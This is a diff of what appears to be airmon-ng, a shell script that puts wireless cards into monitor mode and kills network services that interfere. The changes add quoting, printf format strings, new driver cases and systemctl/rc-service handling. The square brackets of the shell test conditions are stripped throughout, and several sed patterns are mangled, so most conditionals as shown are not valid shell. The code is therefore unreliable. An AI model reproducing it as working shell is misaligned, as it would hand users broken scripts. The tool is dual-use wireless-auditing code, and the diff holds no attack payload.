 			printf "If you feel you have reached this warning in error,\n"
 			printf "please report it.\n"
 			exit 1
 		else
-			if  "${DRIVER}" = "8812au"  ||  "${DRIVER}" = "8814au"  ||  "${DRIVER}" = "88XXau" ; then
+			if  "${DRIVER}" = "icnss" ; then
+				changeQcacldIfaceTypeManaged "${1}"
+				return
+			fi
+			if  "${DRIVER}" = "88XXau"  || iw phy "${PHYDEV}" info | grep -q 'interface combinations are not supported'; then
 				#grumble grumble, seriously crap vendor driver
-				stopDeprecatedIface ${1}
+				changeMac80211IfaceTypeManaged "${1}"
 				return
 			fi
 			if  "${ELITE}" = "0" ; then
-				local need_sta=1
-				if  -d /sys/class/ieee80211/${PHYDEV}/device/net ; then
-					for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-						if  -r /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type  &&  "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ; then
-							 "${2}" != "abort"  && printf "\n\t\t(mac80211 station mode vif already available for ${PHYDEV}${1} on ${PHYDEV}${i})\n"
+				need_sta=1
+				if  -d "/sys/class/ieee80211/${PHYDEV}/device/net" ; then
+					for i in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
+						if  -r "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type"  &&  "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type")" = "1" ; then
+							 "${2}" != "abort"  && printf "\n\t\t(mac80211 station mode vif already available for %s%s on %s%s)\n" "${PHYDEV}" "${1}" "${PHYDEV}" "${i}"
 							need_sta=0
 						fi
 					done
 				fi
-				if  "${need_sta}" = "1"  &&  -e /sys/class/net/${1%mon}/phy80211/name ; then
-					if  "$(cat /sys/class/net/${1%mon}/phy80211/name)" = "${PHYDEV}" ; then
-						printf "\nYou already have a ${1%mon} device but it is NOT in station mode."
+				if  "${need_sta}" = "1"  &&  -e "/sys/class/net/${1%mon}/phy80211/name" ; then
+					if  "$(cat "/sys/class/net/${1%mon}/phy80211/name")" = "${PHYDEV}" ; then
+						printf "\nYou already have a %s device but it is NOT in station mode." "${1%mon}"
 						printf "\nWhatever you did, don't do it again."
-						printf "\nPlease run \"iw ${1%mon} del\" before attempting to continue\n"
+						printf "\nPlease run \"iw %s del\" before attempting to continue\n" "${1%mon}"
 						exit 1
 					else
-						printf "\nYou already have a ${1%mon} device, but it is not on the same phy as ${1}.\n"
+						printf "\nYou already have a %s device, but it is not on the same phy as %s.\n" "${1%mon}" "${1}"
 						printf "\nAttemping to pick a new name...\n"
 						findFreeInterface station
 					fi
 				fi
 				if  "${need_sta}" = "1" ; then
-					IW_ERROR="$(iw phy ${PHYDEV} interface add ${1%mon} type station 2>&1)"
+					IW_ERROR="$(iw phy "${PHYDEV}" interface add "${1%mon}" type station 2>&1)"
 					if  -z "${IW_ERROR}" ; then
+						# The sleep below is to deal with when udev renames the interface we just created
+						# except it does it just slow enough that this check was passing before it did it.
+						# I don't want to add long sleeps here, but there isn't another way to deal with it.
+						sleep 1
 						interface="${1%mon}"
-						if  -d /sys/class/ieee80211/${PHYDEV}/device/net ; then
-							for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-								if  "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "1" ; then
+						if  -d "/sys/class/ieee80211/${PHYDEV}/device/net" ; then
+							for i in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
+								if  "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type")" = "1" ; then
 									#here is where we catch udev renaming our interface
 									interface="${i}"
 								fi
 							done
 						fi
-						printf "\n\t\t(mac80211 station mode vif enabled on ${PHYDEV}${interface})\n"
+						printf "\t\t(mac80211 station mode vif enabled on %s%s)\n" "${PHYDEV}" "${interface}"
 					else
-						printf "\n\n ERROR adding station mode interface: ${IW_ERROR}\n"
+						printf "\n ERROR adding station mode interface: %s\n" "${IW_ERROR}"
 					fi
 				fi
 			fi
-			setLink ${1} down
+			setLink "${1}" down
 			IW_ERROR="$(iw dev "${1}" del 2>&1 | grep "nl80211 not found")"
 			if  -z "$IW_ERROR" ; then
 				if  "${2}" != "abort" ; then
-					printf "\n\t\t(mac80211 monitor mode vif disabled for ${PHYDEV}${1})\n"
+					printf "\t\t(mac80211 monitor mode vif disabled for %s%s)\n" "${PHYDEV}" "${1}"
 				elif  "${2}" = "abort" ; then
 					printf "\nWARNING: unable to start monitor mode, please run \"airmon-ng check kill\"\n"
 				fi
 			else
-				if  -f /sys/class/ieee80211/${PHYDEV}/remove_iface ; then
-					printf "${1}" > /sys/class/ieee80211/${PHYDEV}/remove_iface
-					printf "\n\t\t(mac80211 monitor mode vif disabled for ${PHYDEV}${1})\n"
+				if  -f "/sys/class/ieee80211/${PHYDEV}/remove_iface" ; then
+					printf "%s" "${1}" > "/sys/class/ieee80211/${PHYDEV}/remove_iface"
+					printf "\t\t(mac80211 monitor mode vif disabled for %s%s)\n" "${PHYDEV}" "${1}"
 				else
-					printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\nPlease download and install iw from\n$IW_SOURCE\n"
+					printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\n"
+          printf "Please install the iw package from your distro, or download and install iw from\n%s\n" "${IW_SOURCE}"
 				fi
 			fi
 		fi
@@ -692,18 +757,17 @@
 stopwlIface() {
 	if  -f "/proc/brcm_monitor0" ; then
 		if  -r "/proc/brcm_monitor0" ; then
-			local brcm_monitor="$(cat /proc/brcm_monitor0)"
+			brcm_monitor="$(cat /proc/brcm_monitor0)"
 			if  "$brcm_monitor" = "0" ; then
-				printf "\n\t\t(experimental wl monitor mode vif already disabled for ${PHYDEV}${1})\n"
+				printf "\n\t\t(experimental wl monitor mode vif already disabled for %s%s)\n" "${PHYDEV}" "${1}"
 				return 0
 			fi
 		fi
 		if  -w "/proc/brcm_monitor0" ; then
-			printf "0" > /proc/brcm_monitor0
-			if  "$?" = "0" ; then
-				printf "\n\t\t(experimental wl monitor mode vif disabled for ${PHYDEV}${1})\n"
+			if printf "0" > /proc/brcm_monitor0; then
+				printf "\n\t\t(experimental wl monitor mode vif disabled for %s%s)\n" "${PHYDEV}" "${1}"
 			else
-				printf "\n\t\t(failed to disable experimental wl monitor mode for ${PHYDEV}${1})\n"
+				printf "\n\t\t(failed to disable experimental wl monitor mode for %s%s)\n" "${PHYDEV}" "${1}"
 			fi
 		else
 			printf "\n\tUnable to write to /proc/brcm_monitor0, cannot disable monitor mode.\n"
@@ -727,23 +791,23 @@
 
 	#if  "$DRIVER" = "" 
 	#then
-		if  -f /sys/class/net/$1/device/uevent ; then
-			DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/uevent)"
+		if  -f "/sys/class/net/$1/device/uevent" ; then
+			DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' "/sys/class/net/${1}/device/uevent")"
 		fi
 	#fi
 
 	#here we test for driver usb, ath9k_htc,rt2870, possibly others show this
 	if  "$DRIVER" = "usb" ; then
-		BUSADDR="$(printf "$ethtool_output" | awk '/bus-info/ {print $2}'):1.0"
+		BUSADDR="$(printf "%s" "${ethtool_output}" | awk '/bus-info/ {print $2}'):1.0"
 
 		if  "$DEBUG" = "1" ; 	then
 			printf "Warn ON: USB\n"
-			printf "${BUSADDR}\n"
+			printf "%s\n" "${BUSADDR}"
 		fi
 
 		if  -n "$BUSADDR" ; then
-			if  -f /sys/class/net/$1/device/"$BUSADDR"/uevent ; then
-				DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/$BUSADDR/uevent)"
+			if  -f "/sys/class/net/${1}/device/${BUSADDR}/uevent" ; then
+				DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' "/sys/class/net/${1}/device/${BUSADDR}/uevent")"
 			fi
 		fi
 
@@ -751,8 +815,8 @@
 		if  "$DRIVER" = "rt2870" ; then
 			DRIVER="rt2870sta"
 		fi
-		if  -f /sys/class/net/$1/device/idProduct ; then
-			if  "$(cat /sys/class/net/$1/device/idProduct)" = "3070" ; then
+		if  -f "/sys/class/net/${1}/device/idProduct" ; then
+			if  "$(cat "/sys/class/net/${1}/device/idProduct")" = "3070" ; then
 				DRIVER="rt3070sta"
 			fi
 		fi
@@ -763,7 +827,7 @@
 	if  "$DRIVER" = "rtl8187"  &&  "$STACK" = "ieee80211" ; then
 		DRIVER="r8187"
 	fi
-	if  "$DRIVER" = "rtl88xxau" ; then
+	if  "${DRIVER}" = "8812au"  ||  "${DRIVER}" = "8814au"  ||  "${DRIVER}" = "rtl88xxau"  ||  "${DRIVER}" = "rtl88XXau" ; then
 		DRIVER="88XXau"
 	fi
 	if  "$DRIVER" = "rtl8812au" ; then
@@ -780,7 +844,7 @@
 			save="${DRIVER}"
 
 			if  -n "${DEVICEID}"  &&  "${BUS}" = "pci" ; then
-				DRIVER="$(lspci -d ${DEVICEID} -k | awk '/modules/ {print $3}')"
+				DRIVER="$(lspci -d "${DEVICEID}" -k | awk '/modules/ {print $3}')"
 			fi
 			if  -z "${BUS}"  ||  "${BUS}" != 'sdio' ; then
 					unset DRIVER
@@ -795,7 +859,7 @@
 		DRIVER="??????"
 	fi
 	if  "${DEBUG}" = "1" ; then
-		printf "getdriver() ${DRIVER}\n"
+		printf "getdriver() %s\n" "${DRIVER}"
 	fi
 }
 
@@ -803,7 +867,7 @@
 	#from detection
 	FROM="K"
 	if  "${MODINFO}" = "1"  &&  -f /proc/modules ; then
-		if modinfo -F filename $DRIVER 2>&1 | grep -q 'kernel/drivers'
+		if modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'kernel/drivers'
 		then
 			FROM="K"
 			#we add special handling here because we hate the vendor drivers AND they install in the wrong place
@@ -816,13 +880,13 @@
 			elif  "${DRIVER}" = "8812au"  ||  "${DRIVER}" = "8814au" ; then
 				FROM="V"
 			fi
-		elif modinfo -F filename $DRIVER 2>&1 | grep -q 'updates/drivers'
+		elif modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'updates/drivers'
 		then
 			FROM="C"
-		elif modinfo -F filename $DRIVER 2>&1 | grep -q misc
+		elif modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'misc'
 		then
 			FROM="V"
-		elif modinfo -F filename $DRIVER 2>&1 | grep -q staging
+		elif modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'staging'
 		then
 			FROM="S"
 		else
@@ -833,14 +897,14 @@
 	fi
   #maybe add an 'intree' check?
 	if  "$DEBUG" = "1" ; then
-		printf "getFrom() $FROM\n"
+		printf "getFrom() %s\n" "${FROM}"
 	fi
 }
 
 getFirmware() {
-	FIRMWARE="$(printf "$ethtool_output" | awk '/firmware-version/ {print $2}')"
-	#ath9k_htc firmware is a shorter version number than most so trap and make it pretty
-	if  "$DRIVER" = "ath9k_htc" ; then
+	FIRMWARE="$(printf "%s" "${ethtool_output}" | awk '/firmware-version/ {print $2}')"
+	#ath9k_htc and intel firmware is a shorter version number than most so trap and make it pretty
+	if  "${DRIVER}" = "ath9k_htc"  ||  "${DRIVER}" = "iwlwifi" ; then
 		FIRMWARE="$FIRMWARE\t"
 	fi
 
@@ -851,17 +915,17 @@
 	fi
 
 	if  "$DEBUG" = "1" ; then
-		printf "getFirmware $FIRMWARE\n"
+		printf "getFirmware %s\n" "${FIRMWARE}"
 	fi
 }
 
 getChipset() {
 	#this needs cleanup, we shouldn't have multiple lines assigning chipset per bus
 	#fix this to be one line per bus
-	if  -f /sys/class/net/${1}/device/modalias ; then
+	if  -f "/sys/class/net/${1}/device/modalias" ; then
 		if  "${BUS}" = "usb" ; then
 			if  "${LSUSB}" = "1" ; then
-				BUSINFO="$(cut -d ":" -f 2 /sys/class/net/${1}/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
+				BUSINFO="$(cut -d ":" -f 2 "/sys/class/net/${1}/device/modalias" | cut -b 1-10 | sed 's/^.//;s/p/:/')"
 				CHIPSET="$(lsusb -d "${BUSINFO}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
 			elif  "${LSUSB}" = "0" ; then
 				printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n"
@@ -869,17 +933,17 @@
 			fi
 		#yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here
 		elif  "${BUS}" = "pci" -o "${BUS}" = "pcmcia"  &&  "${LSPCI}" = "1" ; then
-			if  -f /sys/class/net/$1/device/vendor  &&  -f /sys/class/net/$1/device/device ; then
-				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
-				CHIPSET="$(lspci -d ${DEVICEID} | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
+			if  -f "/sys/class/net/${1}/device/vendor"  &&  -f "/sys/class/net/${1}/device/device" ; then
+				DEVICEID="$(sed -e 's/0x//' "/sys/class/net/${1}/device/vendor"):$(sed -e 's/0x//' "/sys/class/net/${1}/device/device")"
+				CHIPSET="$(lspci -d "${DEVICEID}" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
 			else
-				BUSINFO="$(printf "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
+				BUSINFO="$(printf "%s" "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
 				CHIPSET="$(lspci | grep "${BUSINFO}" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
 				DEVICEID="$(lspci -nn | grep "${BUSINFO}" | grep '0-90-90-90-9:0-90-90-90-9' -o)"
 			fi
 		elif  "${BUS}" = "sdio" ; then
-			if  -f /sys/class/net/${1}/device/vendor  &&  -f /sys/class/net/${1}/device/device ; then
-				DEVICEID="$(cat /sys/class/net/${1}/device/vendor):$(cat /sys/class/net/${1}/device/device)"
+			if  -f "/sys/class/net/${1}/device/vendor"  &&  -f "/sys/class/net/${1}/device/device" ; then
+				DEVICEID="$(cat "/sys/class/net/${1}/device/vendor"):$(cat "/sys/class/net/${1}/device/device")"
 			fi
 			if  "${DEVICEID}" = '0x02d0:0x4330' ; then
 				CHIPSET='Broadcom 4330'
@@ -912,8 +976,8 @@
 			CHIPSET="Not pci, usb, or sdio"
 		fi
 	#we don't do a check for usb here but it is obviously only going to work for usb
-	elif  -f /sys/class/net/${1}/device/idVendor  &&  -f /sys/class/net/${1}/device/idProduct ; then
-		DEVICEID="$(cat /sys/class/net/${1}/device/idVendor):$(cat /sys/class/net/${1}/device/idProduct)"
+	elif  -f "/sys/class/net/${1}/device/idVendor"  &&  -f "/sys/class/net/${1}/device/idProduct" ; then
+		DEVICEID="$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct")"
 		if  "${LSUSB}" = "1" ; then
 			CHIPSET="$(lsusb | grep -i "${DEVICEID}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
 		elif  "${LSUSB}" = "0" ; then
@@ -921,8 +985,7 @@
 		fi
 	elif  "${DRIVER}" = "mac80211_hwsim" ; then
 		CHIPSET="Software simulator of 802.11 radio(s) for mac80211"
-	elif $(printf "${ethtool_output}" | awk '/bus-info/ {print $2}' | grep -q bcma)
-	then
+	elif printf "%s" "${ethtool_output}" | awk '/bus-info/ {print $2}' | grep -q bcma; then
 		BUS="bcma"
 
 		if  "${DRIVER}" = "brcmsmac"  ||  "${DRIVER}" = "brcmfmac"  ||  "${DRIVER}" = "b43" ; then
@@ -935,19 +998,19 @@
 	fi
 
 	if  "${DEBUG}" = "1" ; then
-		printf "getchipset() ${CHIPSET}\n"
-		printf "BUS = ${BUS}\n"
-		printf "BUSINFO = ${BUSINFO}\n"
-		printf "DEVICEID = ${DEVICEID}\n"
+		printf "getchipset() %s\n" "${CHIPSET}"
+		printf "BUS = %s\n" "${BUS}"
+		printf "BUSINFO = %s\n" "${BUSINFO}"
+		printf "DEVICEID = %s\n" "${DEVICEID}"
 	fi
 }
 
 getBus() {
-	if  -f /sys/class/net/$1/device/modalias ; then
-		BUS="$(cut -d ":" -f 1 /sys/class/net/$1/device/modalias)"
+	if  -f "/sys/class/net/${1}/device/modalias" ; then
+		BUS="$(cut -d ":" -f 1 "/sys/class/net/${1}/device/modalias")"
 	fi
-	if  "$DEBUG" = "1" ; then
-		printf "getBus $BUS\n"
+	if  "${DEBUG}" = "1" ; then
+		printf "getBus %s\n" "${BUS}"
 	fi
 }
 
@@ -956,7 +1019,7 @@
 		return
 	fi
 
-	if  -d /sys/class/net/$1/phy80211/ ; then
+	if  -d "/sys/class/net/${1}/phy80211/" ; then
 		MAC80211="1"
 		STACK="mac80211"
 	else
@@ -964,19 +1027,19 @@
 		STACK="ieee80211"
 	fi
 
-	if  -e /proc/sys/dev/$1/fftxqmin ; then
+	if  -e "/proc/sys/dev/${1}/fftxqmin" ; then
 		MAC80211="0"
 		STACK="net80211"
 	fi
 
-	if  "$DEBUG" = "1" ; then
-		printf "getStack $STACK\n"
+	if  "${DEBUG}" = "1" ; then
+		printf "getStack %s\n" "${STACK}"
 	fi
 }
 
 getExtendedInfo() {
 	#stuff rfkill info into extended if nothing else is there
-	rfkill_check ${PHYDEV}
+	rfkill_check "${PHYDEV}"
 	rfkill_retcode="$?"
 	if  "${rfkill_retcode}" = "1" ; then
 		EXTENDED="rfkill soft blocked"
@@ -991,8 +1054,8 @@
 	fi
 
 	#first we set all the real (useful) info we can find
-	if  -f /sys/class/net/$1/device/product ; then
-		EXTENDED="\t$(cat /sys/class/net/$1/device/product)"
+	if  -f "/sys/class/net/${1}/device/product" ; then
+		EXTENDED="\t$(cat "/sys/class/net/${1}/device/product")"
 	fi
 
 	#then we sweep for known broken drivers with no available better drivers
@@ -1011,14 +1074,10 @@
 	fi
 
 	#lastly we detect all the broken drivers which have working alternatives
-	KV="$(uname -r | awk -F'-' '{print $1}')"
-	KVMAJOR="$(printf ${KV} | awk -F'.' '{print $1$2}')"
-	KVMINOR="$(printf ${KV} | awk -F'.' '{print $3}')"
-
-	if  $KVMAJOR -lt 26 ; then
+	if  "${KVMAJOR}" -lt 26 ; then
 		printf "You are running a kernel older than 2.6, I'm surprised it didn't error before now."
 	        if  "$DEBUG" = "1" ; then
-			printf "${KVMAJOR} ${KVMINOR}\n"
+			printf "%s %s\n" "${KVMAJOR}" "${KVMINOR}"
 		fi
 		exit 1
 	fi
@@ -1071,9 +1130,9 @@
 	#if there is nothing else here to complain about, show mode
 	if  -z "${EXTENDED}" ; then
 		if  -r "/sys/class/net/${1}/type" ; then
-			NET_TYPE="$(cat /sys/class/net/${1}/type)"
+			NET_TYPE="$(cat "/sys/class/net/${1}/type")"
 		elif  -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}/type" ; then
-			NET_TYPE="$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${1}/type)"
+			NET_TYPE="$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${1}/type")"
 		fi
 		if  -n "${NET_TYPE}" ; then
 			if  "${NET_TYPE}" = "803" ; then
@@ -1107,16 +1166,41 @@
 	PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox\|net_applet\|wicd-daemon\|wicd-client\|iwd"
 	#PS_ERROR="invalid\|illegal"
 
-	if  -x "$(command -v service 2>&1)"  &&  "$1" = "kill" ; then
-		service network-manager stop 2> /dev/null > /dev/null
-		service NetworkManager stop 2> /dev/null > /dev/null
-		service avahi-daemon stop 2> /dev/null > /dev/null
-		while  $? -eq 1 ; do
-			# Sometimes avahi is persistent and keeps being restarted by systemd.
-			# It's usually 4 times that it needs to be stopped
-			service avahi-daemon stop 2> /dev/null > /dev/null
-		done
-		service wicd stop 2> /dev/null > /dev/null
+	if  "${1}" = "kill" ; then
+    if  -x "$(command -v systemctl 2>&1)" ; then
+		  for service in network-manager NetworkManager avahi-daemon wicd; do
+        if systemctl status "${service}" > /dev/null 2>&1; then
+          killservice=1
+          until systemctl stop "${service}" 2> /dev/null > /dev/null; do
+            killservice=$((killservice + 1))
+            if  ${killservice} -gt 5 ; then
+              printf "Failed to stop %s, please stop it on your own.\n" "${service}"
+              break
+            fi
+          done
+        fi
+      done
+    fi
+		servicecmd=""
+		if  -x "$(command -v service 2>&1)" ; then
+			servicecmd="service"
+		elif  -x "$(command -v rc-service 2>&1)" ; then
+			servicecmd="rc-service"
+		fi
+    if  -n "${servicecmd}" ; then
+      for service in network-manager NetworkManager avahi-daemon wicd; do
+        if "${servicecmd}" "${service}" status 2> /dev/null > /dev/null; then
+          killservice=1
+          until "${servicecmd}" "${service}" stop 2> /dev/null > /dev/null; do
+            killservice=$((killservice + 1))
+            if  ${killservice} -gt 5 ; then
+              printf "Failed to stop %s, please stop it on your own.\n" "${service}"
+              break
+            fi
+          done
+        fi
+      done
+    fi
 	fi
 
 	unset match
@@ -1126,8 +1210,8 @@
 		#openwrt busybox grep hits on itself so we -v it out
 		match="$(ps ${psopts} | grep ${PROCESSES} | grep -v grep | wc -l)"
 	fi
-	if  ${match} -gt 0  &&  "${1}" != "kill" ; then
-		printf "Found $match processes that could cause trouble.\n"
+	if  "${match}" -gt 0  &&  "${1}" != "kill" ; then
+		printf "Found %s processes that could cause trouble.\n" "${match}"
 		printf "Kill them using 'airmon-ng check kill' before putting\n"
 		printf "the card in monitor mode, they will interfere by changing channels\n"
 		printf "and sometimes putting the interface back in managed mode\n\n"
@@ -1138,7 +1222,7 @@
 		fi
 	fi
 
-	if  ${match} -gt 0 ; then
+	if  "${match}" -gt 0 ; then
 		if  "${1}" = "kill" ; then
 			printf "Killing these processes:\n\n"
 		fi
@@ -1151,87 +1235,60 @@
 		if  "${1}" = "kill" ; then
 			#we have to use signal 9 because things like nm actually respawn wpa_supplicant too quickly
 			if  "${pso}" = "1" ; then
-				for pid in $(ps ${psopts} -o pid= -o comm= | grep ${PROCESSES} | awk '{print $1}'); do
-					kill -9 ${pid}
+				for pid in $(ps ${psopts} -o pid= -o comm= | grep "${PROCESSES}" | awk '{print $1}'); do
+					kill -9 "${pid}"
 				done
 			else
 				#openwrt busybox grep hits on itself so we -v it out
-				for pid in $(ps ${psopts} | grep ${PROCESSES} | grep -v grep | awk '{print $1}'); do
-					kill -9 ${pid}
+				for pid in $(ps ${psopts} | grep "${PROCESSES}" | grep -v grep | awk '{print $1}'); do
+					kill -9 "${pid}"
 				done
 			fi
 		fi
 	fi
 
-	#i=1
-	#while  $i -le $match 
-	#do
-	#	pid=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $1}')
-	#	pname=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $2}')
-	#	if  x"$1" != "xkill" 
-	#	then
-	#		printf "${pid}\t${pname}\n"
-	#	else
-	#		kill ${pid}
-	#	fi
-	#	i=$(($i+1))
-	#done
-
 	printf "\n"
 
-	#this stub is for checking against the interface name, but since it almost never hits why bother?
-	#if  x"${1}" != "x" -a x"${1}" != "xkill" 
-	#then
-	#	#the next line doesn't work on busybox ps because -p is unimplimented
-	#	match2=$(ps -o comm= -p 1 2>&1 | grep $PS_ERROR -c)
-	#	if  ${match2} -gt 0 
-	#	then
-	#		return
-	#	fi
-	#
-	#	for i in $(ps auxw | grep ${1} | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}')
-	#	do
-	#		pname=$(ps -o comm= -p ${i})
-	#		printf "Process with PID ${i} ($pname) is running on interface ${1}\n"
-	#	done
-	#fi
 }
 
 listInterfaces() {
-	unset iface_list
-	for iface in $(ls -1 /sys/class/net)
-	do
-		if  -f /sys/class/net/${iface}/uevent ; then
-			if grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent
-			then
-				iface_list="${iface_list}\n ${iface}"
-			fi
-		fi
-	done
-	if  -x "$(command -v iwconfig 2>&1)"  &&  -x "$(command -v sort 2>&1)" ; then
-		for iface in $(iwconfig 2> /dev/null | sed 's/^$a-zA-Z0-9_.*$ .*/\1/'); do
-			iface_list="${iface_list}\n ${iface}"
-		done
-		iface_list="$(printf "${iface_list}" | sort -bu)"
-	fi
+  unset iface_list
+  for iface in $(ls -1 /sys/class/net)
+  do
+    if  -f "/sys/class/net/${iface}/uevent" ; then
+      if grep -q 'DEVTYPE=wlan' "/sys/class/net/${iface}/uevent"
+      then
+        iface_list="${iface_list}\n ${iface}"
+      fi
+    fi
+  done
+  if  -x "$(command -v iwconfig 2>&1)"  &&  -x "$(command -v sort 2>&1)" ; then
+    for iface in $(iwconfig 2> /dev/null | sed -e 's/^$\w*$\s.*/\1/' -e '/^$/d'); do
+      iface_list="${iface_list}\n ${iface}"
+    done
+    # This breaks if you fix SC2059 and I am not sure why
+    # This should probably be space separated instead of newline
+    # shellcheck disable=SC2059
+    iface_list="$(printf "${iface_list}" | sort -bu)"
+  fi
 }
 
 getPhy() {
-	if  -z "$1" ;	then
+	if  -z "${1}" ;	then
 		return
 	fi
 
-	if  $MAC80211 = "0" ; then
+	if  "${MAC80211}" = "0" ; then
 		PHYDEV="null"
 		return
 	fi
 
-	if  -r /sys/class/net/$1/phy80211/name ; then
-		PHYDEV="$(cat /sys/class/net/$1/phy80211/name)"
+	if  -r "/sys/class/net/${1}/phy80211/name" ; then
+		PHYDEV="$(cat "/sys/class/net/${1}/phy80211/name")"
 	fi
-	if  -d /sys/class/net/$1/phy80211/  &&  -z "${PHYDEV}" ; then
+	if  -d "/sys/class/net/${1}/phy80211/"  &&  -z "${PHYDEV}" ; then
 
-		PHYDEV="$(ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/$a-zA-Z0-9_-*$$/\1/')"
+		PHYDEV="$(ls -l "/sys/class/net/${1}/phy80211" | sed 's/^.*\/$a-zA-Z0-9_-*$$/\1/')"
 	fi
 }
 
@@ -1241,11 +1298,11 @@
 	if  -x "$(command -v lsmod 2>&1)" ; then
 		lsmod_data="$(lsmod 2>&1 | awk '{print $1}')"
 		if  -n "${lsmod}" ; then
-			printf "${lsmod_data}" | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox"
-			printf "${lsmod_data}" | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware"
-			printf "${lsmod_data}" | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen"
-			printf "${lsmod_data}" | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM"
-			printf "${lsmod_data}" | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V"
+			printf "%s" "${lsmod_data}" | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox"
+			printf "%s" "${lsmod_data}" | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware"
+			printf "%s" "${lsmod_data}" | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen"
+			printf "%s" "${lsmod_data}" | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM"
+			printf "%s" "${lsmod_data}" | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V"
 			 -n "${vm}"  && vm_from="lsmod"
 		fi
 	fi
@@ -1263,10 +1320,10 @@
 	if  -z "${vm_from}" ;	then
 		if  -d /proc/ide ; then
 			ide_model="$(cat /proc/ide/hd*/model)"
-			printf "${ide_model}" | grep -iq "vbox" 2> /dev/null && vm="VirtualBox"
-			printf "${ide_model}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
-			printf "${ide_model}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
-			printf "${ide_model}" | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC"
+			printf "%s" "${ide_model}" | grep -iq "vbox" 2> /dev/null && vm="VirtualBox"
+			printf "%s" "${ide_model}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
+			printf "%s" "${ide_model}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
+			printf "%s" "${ide_model}" | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC"
 			 -n "${vm}"  && vm_from="ide_model"
 		fi
 	fi
@@ -1274,27 +1331,21 @@
 	# Check using lspci
 	if  -z "${vm_from}"  &&  "${LSPCI}" = "1" ; then
 			lspci_data="$(lspci 2>&1)"
-			printf "${lspci_data}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
-			printf "${lspci_data}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
+			printf "%s" "${lspci_data}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
+			printf "%s" "${lspci_data}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
 			 -n "${vm}"  && vm_from="lspci"
 	fi
 
 	# Xen bus check
 	## XXX: Removing unsafe check
 	# this check triggers if CONFIG_XEN_PRIVILEGED_GUEST=y et al are set in kconfig (debian default) even in not actually a guest
-	#if  -z ${vm} 
-	#then
-	#	ls -1 /sys/bus | grep -iq "xen" 2> /dev/null && vm="Xen"
-	#	vm_from="/sys/bus/xen"
-	#fi
 
 	# Check using lscpu
 	if  -z "${vm_from}" ; then
